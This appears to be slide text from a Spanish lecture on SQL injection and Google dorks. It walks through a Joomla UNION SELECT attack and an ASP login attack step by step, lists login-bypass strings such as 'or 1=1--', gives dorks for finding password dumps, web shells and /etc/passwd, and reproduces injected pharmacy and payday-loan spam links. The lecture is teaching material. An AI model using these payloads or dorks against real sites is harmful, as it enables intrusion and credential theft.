Intrusión Web:
Google Dorks e
Inyección Sql
El Hacking Ético es Delito
• Artículo 197.3 C.P.
Libertad de Cátedra
• La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.
• Es el derecho a ejercer la docencia, en el ámbito de la
Educación Superior, con absoluta libertad, es decir, es "la libertad de enseñar y debatir sin verse limitado por doctrinas instituidas".
• La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente su opinión sobre la institución o el sistema en que trabaja, la libertad ante la censura institucional y la libertad de participar en órganos profesionales u organizaciones académicas
¿Qué es Inyección SQL?
• Es un método de infiltración de código SQL
• Aprovecha vulnerabilidades de diseño en código web • Afecta a cualquier lenguaje que use SqlQueries
• Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%
RESULTADO:
¿Qué fines alberga?
• Casi ninguno bueno
• Introducción de código adaware malicioso
• Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.
• Sólo se salva el Hacking Ético
EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
¿Por qué ocurre esto?
• Mal diseño del código de consulta SQL
• Utilización de código estándar no contrastado
• Ausencia de actualización de directivas de Seguridad CMS • Inexistencia de seguimiento de la vida de la página web
Algunas páginas infectadas
• Universidades
• Páginas oficiales de partidos políticos • Páginas oficiales de Ayuntamientos
El más
Famoso:
La
Ejemplos interesantes
Universidad de SalamancaEjemplos interesantes
Universidad de ExtremaduraEjemplos interesantes
Página del Partido SocialistaEjemplos interesantes
Página del Partido SocialistaEjemplos interesantes
Página de Unión, Progreso y
Ejemplos interesantes
Página de Unión, Progreso y Democracia<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="
http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="
http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="
http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com"
title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com"
title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific generalization of extension.</p>
¿Cómo se hace Sqlinjection?
• Se buscan vulnerabilidades en los CMS más populares
• Joomla es el “Rey de Reyes” • Tampoco se libra Wordpress • Ni Drupal, ni Moodle….
• Cualquier sitio web en interesante; incluso el tuyo!!: • Es el mejor laboratorio de prácticas
¿Cómo se hace Sqlinjection?
• Se buscan páginas web de CMS no actualizadas
• Los “ciberdelincuentes buenos”, buscan “0 Days”
• Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:
Ejemplos de Sqlinjection
• Joomla 3.2.2
• Fallo detectado en febrero de 2014 • Afectaba al propio núcleo de Joomla
• Por tanto funcionaba en todas las versiones anteriores • Buscaba el error en la validación de parámetros web • El error estaba tras consultar el “Weblinks-categories”
• El objetivo es provocar que Joomla nos muestre su código fuente para sacar lo más importante:
Ejemplos de Sqlinjection
Una instrucción “Normal”:http://URL/index.php/weblinks-categories?id=1
http://URL/index.php/weblinks-categories?id=X
Resultado:
SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND
Ejemplos de Sqlinjection
ATENTOS AHORA:
Este error anterior nos ha mostrado una información muy valiosa: El prefijo de las Tablas de la base de datos
...INNER JOIN `ls41c_contentitem_tag_map` ...
Ejemplos de Sqlinjection
Aprovechemos este error para hacer nuestra consulta:
• Consultamos a la Tabla de Usuarios (ls41c_users):
• Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password
http://URL/index.php/weblinks-categories ?id=0) union select
Ejemplos de Sqlinjection
Veámoslo con detalle:El usuario es admin
Ejemplos de Sqlinjection
Sólo nos resta “Deshacer” el MD5:• Mediante la búsqueda de la cadena por internet • Utilizando páginas web para descifrarlo
Otras formas de Sqlinjection
Mediante el uso de operadores en los campos de textoEn los campos de consulta de datos En los campos de Usuario y Contraseña
Otras formas de Sqlinjection
En la pantalla de Autenticación se nos piden los datos de accesoEl código interno que se ejecuta suele ser algo parecido a:
Select id
from tabla_usuarios
Otras formas de Sqlinjection
¿Pero qué pasa si provocamos el error?Select id
from tabla_usuarios
Otras formas de Sqlinjection
EjemploOtras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
El Error anterior nos dio el nombre de la tabla y la columna:
1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
El Error anterior nos dio un nuevo dato de la tabla y la columna:
1=1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
Ya tenemos el nombre de la Tabla y la Columna “usuario.clave_de_acceso”:
1=1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
Ya tenemos la Tabla y la Columna “usuario.password”:
1=1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
La siguiente tabla es “usuario.Tipo_De_Usuario”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
1=1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
La siguiente tabla es “usuario.Punto_De_Captura”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
1=1--Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
La siguiente tabla es “Usuario.ESTATUS”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having
Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'—
Otras formas de Sqlinjection
Ataques a Logins ASPComando Dork: inurl:login.asp
Ya tenemos al Usuario de Administración:
Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso >
Otros parámetros de Sqlinjection
Pueden hacerse otros tipos de consultas‘ or 1=1 – 1'or’1'=’1 admin’– ” or 0=0 – or 0=0 – ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’='x ” or “x”=”x ‘) or (‘x’='x ‘ or 1=1–
Los «Dorks»: Google Hacking
• ¿Qué es un Dork?
• Google dorks son combinaciones de operadores, o
comandos de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google.
• También se les denomina GoogleDorks
• Existen multitud de páginas web donde se muestran los
comandos Dork de Google
• La más famosa:
Los «Dorks» más típicos
• Site:
• Site:nombrededominio.extension «cadena a buscar»
• Filetype:
• filetype:extensión «nombredelfichero»
• Inurl:
• Inurl:”página a buscar”
• intitle:
• Intitle: “témino a buscar”
• Intext:
• Intext:”Texto a buscar dentro de un fichero”
• Link:
Los «Dorks» más típicos
• Site:
• Site:nombrededominio.extension «cadena a buscar»
site:usal.es "azithromycin“
Los «Dorks» más típicos
• Filetype:
• filetype:extensión «nombredelfichero»
filetype:sql “# dumping data for table” “`PASSWORD` varchar”
Los «Dorks» más típicos
• Inurl:
• Inurl:”Texto a buscar”
inurl:webarch/mainframe.cgi
inurl:intranet filetype:doc confidential
• La primera instrucción busca impresoras de red
• La segunda instrucción busca documentos confidenciales
Los «Dorks» más típicos
• Intext:
• Intext:”Texto a buscar dentro de un fichero”
filetype:php intext:"!C99Shell v. 1.0 beta"
Los «Dorks» más típicos
• Link:
• Link: “enlace web a buscar
Link:elpais.com
Los «Dorks» más típicos
• Combinaciones
• inurl:"/root/etc/passwd" intext:"home/*:“ • inurl:/administrator/index.php?autologin=1